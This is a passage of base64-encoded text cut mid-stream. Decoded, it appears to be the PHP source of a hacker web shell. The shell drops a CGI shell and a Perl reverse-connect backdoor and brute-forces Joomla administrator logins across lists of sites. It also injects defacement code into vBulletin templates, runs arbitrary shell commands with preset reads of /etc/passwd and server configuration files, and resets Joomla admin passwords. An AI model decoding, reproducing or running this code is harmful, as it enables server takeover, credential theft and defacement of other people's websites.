hSdklISjFiaUJoSUdOdmJXMWhibVFLZXdvSkprVjRaV04xZEdWRGIyMXRZVzVrT3dwOUNtVnNjMmxtS0NSQlkzUnBiMjRnWlhFZ0luVndiRzloWkNJcElDTWdkWE5sY2lCM1lXNTBjeUIwYnlCMWNHeHZZV1FnWVNCbWFXeGxDbnNLQ1NaVmNHeHZZV1JHYVd4bE93cDlDbVZzYzJsbUtDUkJZM1JwYjI0Z1pYRWdJbVJ2ZDI1c2IyRmtJaWtnSXlCMWMyVnlJSGRoYm5SeklIUnZJR1J2ZDI1c2IyRmtJR0VnWm1sc1pRcDdDZ2ttUkc5M2JteHZZV1JHYVd4bE93cDlDbVZzYzJsbUtDUkJZM1JwYjI0Z1pYRWdJbXh2WjI5MWRDSXBJQ01nZFhObGNpQjNZVzUwY3lCMGJ5QnNiMmR2ZFhRS2V3b0pKbEJsY21admNtMU1iMmR2ZFhRN0NuMEsnOw0KDQokZmlsZSA9IGZvcGVuKCJpem8uY2luIiAsIncrIik7DQokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRjZ2lzaGVsbGl6b2NpbikpOw0KZmNsb3NlKCRmaWxlKTsNCiAgICBjaG1vZCgiaXpvLmNpbiIsMDc1NSk7DQokbmV0Y2F0c2hlbGwgPSAnSXlFdmRYTnlMMkpwYmk5d1pYSnNEUW9nSUNBZ0lDQjFjMlVnVTI5amEyVjBPdzBLSUNBZ0lDQWdjSEpwYm5RZ0lrUmhkR0VnUTJoaA0KTUhNZ1EyOXVibVZqZENCQ1lXTnJJRUpoWTJ0a2IyOXlYRzVjYmlJN0RRb2dJQ0FnSUNCcFppQW9JU1JCVWtkV1d6QmRLU0I3RFFvZw0KSUNBZ0lDQWdJSEJ5YVc1MFppQWlWWE5oWjJVNklDUXdJRnRJYjNOMFhTQThVRzl5ZEQ1Y2JpSTdEUW9nSUNBZ0lDQWdJR1Y0YVhRbw0KTVNrN0RRb2dJQ0FnSUNCOURRb2dJQ0FnSUNCd2NtbHVkQ0FpV3lwZElFUjFiWEJwYm1jZ1FYSm5kVzFsYm5SelhHNGlPdzBLSUNBZw0KSUNBZ0pHaHZjM1FnUFNBa1FWSkhWbHN3WFRzTkNpQWdJQ0FnSUNSd2IzSjBJRDBnT0RBN0RRb2dJQ0FnSUNCcFppQW9KRUZTUjFaYg0KTVYwcElIc05DaUFnSUNBZ0lDQWdKSEJ2Y25RZ1BTQWtRVkpIVmxzeFhUc05DaUFnSUNBZ0lIME5DaUFnSUNBZ0lIQnlhVzUwSUNKYg0KS2wwZ1EyOXVibVZqZEdsdVp5NHVMbHh1SWpzTkNpQWdJQ0FnSUNSd2NtOTBieUE5SUdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbg0KS1NCOGZDQmthV1VvSWxWdWEyNXZkMjRnVUhKdmRHOWpiMnhjYmlJcE93MEtJQ0FnSUNBZ2MyOWphMlYwS0ZORlVsWkZVaXdnVUVaZg0KU1U1RlZDd2dVMDlEUzE5VFZGSkZRVTBzSUNSd2NtOTBieWtnZkh3Z1pHbGxJQ2dpVTI5amEyVjBJRVZ5Y205eVhHNGlLVHNOQ2lBZw0KSUNBZ0lHMTVJQ1IwWVhKblpYUWdQU0JwYm1WMFgyRjBiMjRvSkdodmMzUXBPdzBLSUNBZ0lDQWdhV1lnS0NGamIyNXVaV04wS0ZORg0KVWxaRlVpd2djR0ZqYXlBaVUyNUJOSGc0SWl3Z01pd2dKSEJ2Y25Rc0lDUjBZWEpuWlhRcEtTQjdEUW9nSUNBZ0lDQWdJR1JwWlNnaQ0KVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1JjYmlJcE93MEtJQ0FnSUNBZ2ZRMEtJQ0FnSUNBZ2NISnBiblFnSWxzcVhTQlRjR0YzYm1sdQ0KWnlCVGFHVnNiRnh1SWpzTkNpQWdJQ0FnSUdsbUlDZ2habTl5YXlnZ0tTa2dldzBLSUNBZ0lDQWdJQ0J2Y0dWdUtGTlVSRWxPTENJKw0KSmxORlVsWkZVaUlwT3cwS0lDQWdJQ0FnSUNCdmNHVnVLRk5VUkU5VlZDd2lQaVpUUlZKV1JWSWlLVHNOQ2lBZ0lDQWdJQ0FnYjNCbA0KYmloVFZFUkZVbElzSWo0bVUwVlNWa1ZTSWlrN0RRb2dJQ0FnSUNBZ0lHVjRaV01nZXljdlltbHVMM05vSjMwZ0p5MWlZWE5vSnlBdQ0KSUNKY01DSWdlQ0EwT3cwS0lDQWdJQ0FnSUNCbGVHbDBLREFwT3cwS0lDQWdJQ0FnZlEwS0lDQWdJQ0FnY0hKcGJuUWdJbHNxWFNCRQ0KWVhSaFkyaGxaRnh1WEc0aU93PT0nOw0KDQokZmlsZSA9IGZvcGVuKCJkYy5wbCIgLCJ3KyIpOw0KJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkbmV0Y2F0c2hlbGwpKTsNCmZjbG9zZSgkZmlsZSk7DQogICAgY2htb2QoImRjLnBsIiwwNzU1KTsNCiAgIGVjaG8gIjxpZnJhbWUgc3JjPWNnaXRlbG5ldDEvaXpvLmNpbiB3aWR0aD05NiUgaGVpZ2h0PTkwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiANCg0KIA0KIDwvZGl2PiI7IH0NCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2picnV0ZScpKSANCnsgDQo/Pg0KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PWpicnV0ZSIgbWV0aG9kPSJwb3N0Ij4NCg0KCTxtZXRhIG5hbWU9ImF1dGhvciIgY29udGVudD0iUmV0bk9IYWNLIiAvPg0KICAgIDxtZXRhIG5hbWU9ImtleXdvcmRzIiBjb250ZW50PSJKb29tbGEsIEJydXRlciwgSm9vbWxhQnJ1dGVyLCBKb29tbGFCcnV0ZXJGb3JjZSwgSm9vbWxhQnJ1dGVyRm9yY2VPbmxpbmUiIC8+DQogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IlJldG5PSGFjSyAjUHJvY29kZXIneiBUZWFtIEFsYmFuaWFuIiAvPg0KPGNlbnRlcj4NCjwvYnI+PC9icj4NCjxjZW50ZXI+PGI+PGZvbnQgY29sb3I9ImxpbWUiPistLT1bIEpvb21sYSBCcnV0ZXIgRm9yY2UgXT0tLSs8L2ZvbnQ+PC9iPjxiciAvPjxiciAvPg0KPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+IA0KPHRhYmxlIGNsYXNzPSJ0YWJuZXQiIHdpZHRoPSIzOCUiIGJvcmRlcj0iMCI+PGNlbnRlcj4NCjx0aCBjb2xzcGFuPSIyIj5Kb29tbGEgQnJ1dGUgRm9yY2U8L3RoPg0KPHRyPjx0ZD48cCA+PGZvbnQgIGNsYXNzPSJkMSI+VXNlciA6PC9mb250PjwvdGg+DQo8aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0ndGV4dCcgbmFtZT0idXNyIiB2YWx1ZT0iYWRtaW4iIHNpemU9IjE1Ij4gPC9mb250PjwvY2VudGVyPjxiciAvPjxiciAvPjwvcD4NCjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgY2xhc3M9IiI+U2l0ZXMgbGlzdCA6PC9mb250PiANCjwvdGQ+PHRkPjxmb250IGNsYXNzPSIiID5QYXNzIGxpc3QgOjwvZm9udD48L3RkPjwvdHI+DQo8dHI+DQoJCTx0ZD4NCjx0ZXh0YXJlYSBuYW1lPSJzaXRlcyIgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7IiBjb2xzPSI0MCIgcm93cz0iMTMiID48L3RleHRhcmVhPg0KPC90ZD48dGQ+DQo8dGV4dGFyZWEgbmFtZT0idzByZHMiIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrOyIgY29scz0iNDAiIHJvd3M9IjEzIiA+DQphZG1pbg0KMTIzNDU2DQpwYXNzd29yZA0KMTAyMDMwDQoxMjMxMjMNCjEyMzQ1DQoxMjM0NTY3ODkNCnBhc3MNCnRlc3QNCmFkbWluMTIzDQpkZW1vDQohQCMkJV4NCjwvdGV4dGFyZWE+DQo8L3RkPjwvdHI+PGNlbnRlcj48dHI+PHRkPg0KPGZvbnQgPiANCjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIG5hbWU9IngiIHZhbHVlPSJzdGFydCIgaWQ9ImQ0Ij4gDQo8L2ZvbnQ+PC90ZD48L3RyPjxicj4NCnRhbmtzIGZvciBwcm9jb2Rlcid6IHRlYW0gYWxiYW5pYW48YnI+PC9jZW50ZXI+PC90YWJsZT4NCjwvZm9ybT48L2NlbnRlcj4NCjw/IA0KQHNldF90aW1lX2xpbWl0KDApOyANCg0KaWYoJF9QT1NUWyd4J10peyANCg0KZWNobyAiPGhyPiI7IA0KDQokc2l0ZXMgPSBleHBsb2RlKCJcbiIsJF9QT1NUWyJzaXRlcyJdKTsgLy8gR2V0IFNpdGVzIA0KJHcwcmRzID0gZXhwbG9kZSgiXG4iLCRfUE9TVFsidzByZHMiXSk7IC8vIEdldCB3MHJkTGlTdCANCg0KJEF0dGFjayA9IG5ldyBKb29tbGFfYnJ1dGVfRm9yY2UoKTsgLy8gQWN0aXZlIENsYXNzIA0KDQoNCmZvcmVhY2goJHcwcmRzIGFzICRwd2QpeyANCg0KZm9yZWFjaCgkc2l0ZXMgYXMgJHNpdGUpeyANCg0KDQokQXR0YWNrLT5jaGVja19pdCh0eHRfY2xuKCRzaXRlKSwkX1BPU1RbJ3VzciddLHR4dF9jbG4oJHB3ZCkpOyAvLyBCcnV0ZSA6RCANCmZsdXNoKCk7Zmx1c2goKTsgDQoNCn0gDQoNCn0gDQoNCn0gDQoNCg0KIyBDbGFzcyAmIEZ1bmN0aW9uJ3ogDQoNCmZ1bmN0aW9uIHR4dF9jbG4oJHZhbHVlKXsgIHJldHVybiBzdHJfcmVwbGFjZShhcnJheSgiXG4iLCJcciIpLCIiLCR2YWx1ZSk7IH0gDQoNCmNsYXNzIEpvb21sYV9icnV0ZV9Gb3JjZXsgDQoNCnB1YmxpYyBmdW5jdGlvbiBjaGVja19pdCgkc2l0ZSwkdXNlciwkcGFzcyl7IC8vIHByaW50IHJlc3VsdCANCg0KaWYoZXJlZ2koJ2NvbV9jb25maWcnLCR0aGlzLT5wb3N0KCRzaXRlLCR1c2VyLCRwYXNzKSkpeyANCg0KZWNobyAiPHNwYW4gY2xhc3M9XCJ4MlwiPjxiPiMgU3VjY2VzcyA6ICR1c2VyOiRwYXNzIC0+IDxhIGhyZWY9JyRzaXRlL2FkbWluaXN0cmF0b3IvaW5kZXgucGhwJz4kc2l0ZS9hZG1pbmlzdHJhdG9yL2luZGV4LnBocDwvYT48L2I+PC9zcGFuPjxCUj4iOw0KJGYgPSBmb3BlbigiUmVzdWx0LnR4dCIsImErIik7IGZ3cml0ZSgkZiAsICJTdWNjZXNzIH5+ICR1c2VyOiRwYXNzIC0+ICRzaXRlL2FkbWluaXN0cmF0b3IvaW5kZXgucGhwXG4iKTsgZmNsb3NlKCRmKTsgDQpmbHVzaCgpOyANCn1lbHNleyBlY2hvICIjIEZhaWxlZCA6ICR1c2VyOiRwYXNzIC0+ICRzaXRlPEJSPiI7IGZsdXNoKCk7fSANCg0KfSANCg0KcHVibGljIGZ1bmN0aW9uIHBvc3QoJHNpdGUsJHVzZXIsJHBhc3MpeyAvLyBQb3N0IC0+IHVzZXIgJiBwYXNzIA0KDQokdG9rZW4gPSAkdGhpcy0+ZXh0cmFjdF90b2tlbigkc2l0ZSk7IA0KDQokY3VybD1jdXJsX2luaXQoKTsgDQoNCmN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7IA0KY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9VUkwsJHNpdGUuIi9hZG1pbmlzdHJhdG9yL2luZGV4LnBocCIpOyANCkBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0NPT0tJRUZJTEUsJ2Nvb2tpZS50eHQnKTsgDQpAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9DT09LSUVKQVIsJ2Nvb2tpZS50eHQnKTsgDQpjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjEuMTUpIEdlY2tvLzIwMDgxMTEzMTcgIEZpcmVmb3gvMy4wLjQnKTsgDQpAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTsgDQpjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1BPU1QsMSk7IA0KY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9QT1NURklFTERTLCd1c2VybmFtZT0nLiR1c2VyLicmcGFzc3dkPScuJHBhc3MuJyZsYW5nPWVuLUdCJm9wdGlvbj1jb21fbG9naW4mdGFzaz1sb2dpbiYnLiR0b2tlbi4nPTEnKTsgDQpjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1RJTUVPVVQsMjApOyANCg0KJGV4ZWM9Y3VybF9leGVjKCRjdXJsKTsgDQpjdXJsX2Nsb3NlKCRjdXJsKTsgDQpyZXR1cm4gJGV4ZWM7IA0KDQp9IA0KDQpwdWJsaWMgZnVuY3Rpb24gZXh0cmFjdF90b2tlbigkc2l0ZSl7IC8vIGdldCB0b2tlbiBmcm9tIHNvdXJjZSBmb3IgLT4gZnVuY3Rpb24gcG9zdCANCg0KJHNvdXJjZSA9ICR0aGlzLT5nZXRfc291cmNlKCRzaXRlKTsgDQoNCnByZWdfbWF0Y2hfYWxsKCIvdHlwZT1cImhpZGRlblwiIG5hbWU9XCIoWzAtOWEtZl17MzJ9KVwiIHZhbHVlPVwiMVwiL3NpIiAsJHNvdXJjZSwkdG9rZW4pOyANCg0KcmV0dXJuICR0b2tlblsxXVswXTsgDQoNCn0gDQoNCnB1YmxpYyBmdW5jdGlvbiBnZXRfc291cmNlKCRzaXRlKXsgLy8gZ2V0IHNvdXJjZSBmb3IgLT4gZnVuY3Rpb24gZXh0cmFjdF90b2tlbiANCg0KJGN1cmw9Y3VybF9pbml0KCk7IA0KY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsgDQpjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VSTCwkc2l0ZS4iL2FkbWluaXN0cmF0b3IvaW5kZXgucGhwIik7IA0KQGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfQ09PS0lFRklMRSwnY29va2llLnR4dCcpOyANCkBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0NPT0tJRUpBUiwnY29va2llLnR4dCcpOyANCmN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVNFUkFHRU5ULCdNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IGVuLVVTOyBydjoxLjguMS4xNSkgR2Vja28vMjAwODExMTMxNyAgRmlyZWZveC8zLjAuNCcpOyANCkBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLDEpOyANCmN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVElNRU9VVCwyMCk7IA0KDQokZXhlYz1jdXJsX2V4ZWMoJGN1cmwpOyANCmN1cmxfY2xvc2UoJGN1cmwpOyANCnJldHVybiAkZXhlYzsgDQoNCn0gDQoNCn0gDQp9DQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd2YicpKQ0KICAgew0KICAgPz4NCiAgIDxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZ4PXZiIiBtZXRob2Q9InBvc3QiPg0KICAgPGJyPjxicj48YnI+PGRpdiBhbGlnbj0iY2VudGVyIj4NCiAgIDxIMj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IDQwMCI+PGZvbnQgZmFjZT0iVHJlYnVjaGV0IE1TIiBzaXplPSI0Ij4NCiAgIDxiPjxmb250IGNvbG9yPSIjMDBGRjAwIj4rLS09WyBWQiBJbmRleCBDaGFuZ2VyIF09LS0rPC9mb250PjwvYj4NCiAgIDwvZGl2Pjxicj4NCiAgIDw/DQogICBpZihlbXB0eSgkX1BPU1RbJ2luZGV4J10pKXsNCiAgIGVjaG8gIjxjZW50ZXI+PEZPUk0gbWV0aG9kPVwiUE9TVFwiPiI7DQogICBlY2hvICI8dGFibGUgY2xhc3M9XCJ0YWJuZXRcIj4NCjx0aCBjb2xzcGFuPVwiMlwiPlZiIEluZGV4IENoYW5nZXI8L3RoPg0KPHRyPjx0ZD5ob3N0IDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjYwXCIgbmFtZT1cImxvY2FsaG9zdFwiIHZhbHVlPVwibG9jYWxob3N0XCI+PC90ZD48L3RyPg0KPHRyPjx0ZD5kYXRhYmFzZSA8L3RkPjx0ZD48aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiB0eXBlPVwidGV4dFwiIHNpemU9XCI2MFwiIG5hbWU9XCJkYXRhYmFzZVwiIHZhbHVlPVwiZm9ydW1fdmJcIj48L3RkPjwvdHI+DQo8dHI+PHRkPnVzZXJuYW1lIDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjYwXCIgbmFtZT1cInVzZXJuYW1lXCIgdmFsdWU9XCJ1c2VyX3ZiXCI+PC90ZD48L3RyPg0KPHRyPjx0ZD5wYXNzd29yZCA8L3RkPjx0ZD48aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiB0eXBlPVwidGV4dFwiIHNpemU9XCI2MFwiIG5hbWU9XCJwYXNzd29yZFwiIHZhbHVlPVwidmJcIj48L3RkPjwvdHI+DQo8L3RyPg0KPHRoIGNvbHNwYW49XCIyXCI+WW91ciBJbmRleCBDb2RlPC90aD48L3RhYmxlPjx0YWJsZSBjbGFzcz1cInRhYm5ldFwiPg0KPFRFWFRBUkVBIG5hbWU9XCJpbmRleFwiIHJvd3M9XCIxM1wiIHN0eWxlPVwiYmFja2dyb3VuZDpibGFja1wiIGJvcmRlcj1cIjFcIiBjb2xzPVwiNjlcIiBuYW1lPVwiY29kZVwiPnlvdXIgaW5kZXggY29kZTwvVEVYVEFSRUE+PGJyPg0KPElOUFVUIGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwic2V0dGluZ1wiIG5hbWU9XCJzZW5kXCI+DQo8L0ZPUk0+PC90YWJsZT48L2NlbnRlcj4iOw0KICAgIH1lbHNlew0KICAgICRsb2NhbGhvc3QgPSAkX1BPU1RbJ2xvY2FsaG9zdCddOw0KICAgICRkYXRhYmFzZSA9ICRfUE9TVFsnZGF0YWJhc2UnXTsNCiAgICAkdXNlcm5hbWUgPSAkX1BPU1RbJ3VzZXJuYW1lJ107DQogICAgJHBhc3N3b3JkID0gJF9QT1NUWydwYXNzd29yZCddOw0KICAgICRpbmRleCA9ICRfUE9TVFsnaW5kZXgnXTsNCiAgICBAbXlzcWxfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCiAgICBAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KICAgICRpbmRleD1zdHJfcmVwbGFjZSgiXCciLCInIiwkaW5kZXgpOw0KICAgICRzZXRfaW5kZXggPSAie1wke2V2YWwoYmFzZTY0X2RlY29kZShcJyI7DQogICAgJHNldF9pbmRleCAuPSBiYXNlNjRfZW5jb2RlKCJlY2hvIFwiJGluZGV4XCI7Iik7DQogICAgJHNldF9pbmRleCAuPSAiXCcpKX19e1wke2V4aXQoKX19PC90ZXh0YXJlYT4iOw0KICAgIGVjaG8oIlVQREFURSB0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSciLiRzZXRfaW5kZXguIicgIikgOw0KICAgICRvaz1AbXlzcWxfcXVlcnkoIlVQREFURSB0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSciLiRzZXRfaW5kZXguIiciKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQogICAgaWYoJG9rKXsNCiAgICBlY2hvICIhISB1cGRhdGUgZmluaXNoICEhPGJyPjxicj4iOw0KICAgIH0gDQogIH0NCn0NCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2J5cGFzcycpKSANCnsgDQo/Pg0KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PWJ5cGFzcyIgbWV0aG9kPSJwb3N0Ij4NCg0KPD9waHANCmVjaG8gIjxjZW50ZXIvPjxici8+PGI+PGZvbnQgY29sb3I9IzAwZmYwMD4tPVsgQ29tbWFuZCAgQnlwYXNzIEV4cGxvaXQgXT0tPC9mb250PjwvYj48YnI+DQoiOw0KcHJpbnRfcignDQo8cHJlPg0KPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+DQo8Yj48Zm9udCBjb2xvcj0jMDBmZjAwPjxiPjxmb250IGNvbG9yPSIjMDBmZjAwIj5Db21tYW5kICA6PSkgPC9mb250PjwvZm9udD48L2I+PGlucHV0IG5hbWU9ImJhYmEiIHR5cGU9InRleHQiIGNsYXNzPSJpbnB1dHoiIHNpemU9IjM0Ij48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iaW5wdXR6YnV0IiB2YWx1ZT0iR28iPg0KPC9mb3JtPg0KPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+PHN0cm9uZz48Yj48Zm9udCBjb2xvcj0iIzAwZmYwMCI+TWVudSBCeXBhc3MgIDo9KSAgPC9mb250Pjwvc3Ryb25nPjxzZWxlY3QgbmFtZT0ibGl6MCIgc2l6ZT0iMSIgY2xhc3M9ImlucHV0eiI+DQo8b3B0aW9uIHZhbHVlPSJjYXQgL2V0Yy9wYXNzd2QiPi9ldGMvcGFzc3dkPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIj5uZXRzdGF0PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJjYXQgL3Zhci9jcGFuZWwvYWNjb3VudGluZy5sb2ciPi92YXIvY3BhbmVsL2FjY291bnRpbmcubG9nPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJjYXQgL2V0Yy9zeXNsb2cuY29uZiI+L2V0Yy9zeXNsb2cuY29uZjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iY2F0IC9ldGMvaG9zdHMiPi9ldGMvaG9zdHM8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9ImNhdCAvZXRjL25hbWVkLmNvbmYiPi9ldGMvbmFtZWQuY29uZjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iY2F0IC9ldGMvaHR0cGQvY29uZi9odHRwZC5jb25mIj4vZXRjL2h0dHBkL2NvbmYvaHR0cGQuY29uZjwvb3B0aW9uPg0KPC9zZWxlY3Q+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJpbnB1dHpidXQiIHZhbHVlPSJHJm91bWw7Ij4NCjwvZm9ybT4NCjwvcHJlPg0KJyk7DQppbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7DQppbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7DQokbGl6MD1zaGVsbF9leGVjKCRfUE9TVFtiYWJhXSk7IA0KJGxpejB6aW09c2hlbGxfZXhlYygkX1BPU1RbbGl6MF0pOyANCiR1aWQ9c2hlbGxfZXhlYygnaWQnKTsNCiRzZXJ2ZXI9c2hlbGxfZXhlYygndW5hbWUgLWEnKTsNCmVjaG8gIjxwcmU+PGg0PiI7DQoNCmVjaG8gJGxpejA7DQplY2hvICRsaXowemltOw0KZWNobyAiPC9oND48L3ByZT4iOw0KICI8L2Rpdj4iOyB9DQoNCiAvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCiANCiBlbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2pvZGV4ZXInKSkNCnsJDQo/Pg0KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PWpvZGV4ZXIiIG1ldGhvZD0icG9zdCI+DQoNCjw/cGhwDQoNCmlmICgkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10pDQp7DQoNCiRoPSI8PyBlY2hvKHN0cmlwc2xhc2hlcyhiYXNlNjRfZGVjb2RlKCciLnVybGVuY29kZShiYXNlNjRfZW5jb2RlKHN0cl9yZXBsYWNlKCInIiwiJyIsKCRfUE9TVFsnY29kZSddKSkpKS4iJykpKTsgZXhpdDsgPz4iOw0KDQogJGRicHJlZml4PSgkX1BPU1RbJ2RiX3ByZWZpeCddKTsNCiAkdXNlcm5hbWU9KCRfUE9TVFsnZGJfdXNlcm5hbWUnXSk7DQogJHBhc3N3b3JkPSgkX1BPU1RbJ2RiX3Bhc3N3b3JkJ10pOw0KICRkYm5hbWU9KCRfUE9TVFsnZGJfbmFtZSddKTsNCiAgJHNpdGVfdXJsPSgkX1BPU1RbJ3NpdGVfdXJsJ10pOw0KDQokY289cmFuZG9tdCgpOw0KDQoNCg0KICAgICAgJGxpbms9bXlzcWxfY29ubmVjdCgibG9jYWxob3N0IiwkdXNlcm5hbWUsJHBhc3N3b3JkKSA7DQoNCiAgICAgICAgIG15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCRsaW5rKSA7DQoNCiR0cnlDaGFuaW5nSW5mbyA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgIi4kZGJwcmVmaXguInVzZXJzIFNFVCB1c2VybmFtZSA9J2FkbWluJyAsIHBhc3N3b3JkID0gJzJhOTMzNmY3NjY2ZjlmNDc0YjdhOGY2N2I0OGRlNTI3OkRpV3FSQlIxdGhUUWEyU3ZCc0Rxc1VFTnJLT21adEFYJyIpOw0KZWNobygiPGJyPlsrXSBDaGFuZ2luZyBhZG1pbiBwYXNzd29yZCB0byAxMjM0NTY3ODkiKTsJDQoJCSANCgkJICRyZXEgPW15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBmcm9tICBgIi4kZGJwcmVmaXguImV4dGVuc2lvbnNgICIpOw0KCQkgDQppZiAoICRyZXEgKQ0Kew0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgICAgICAgIFYxLjYgICAgICAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQoJCQ0KJHJlcSA9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRkYnByZWZpeC4idGVtcGxhdGVfc3R5bGVzYCBXSEVSRSBjbGllbnRfaWQ9JzAnIGFuZCBob21lPScxJyIpOw0KCSAkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KJHRlbXBsYXRlX25hbWU9JGRhdGFbInRlbXBsYXRlIl07DQoNCiRyZXEgPW15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBmcm9tICBgIi4kZGJwcmVmaXguImV4dGVuc2lvbnNgIFdIRVJFIG5hbWU9JyIuJHRlbXBsYXRlX25hbWUuIiciKTsNCgkgJGRhdGEgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVxKTsNCiR0ZW1wbGF0ZV9pZD0kZGF0YVsiZXh0ZW5zaW9uX2lkIl07DQoNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocCI7DQoNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDV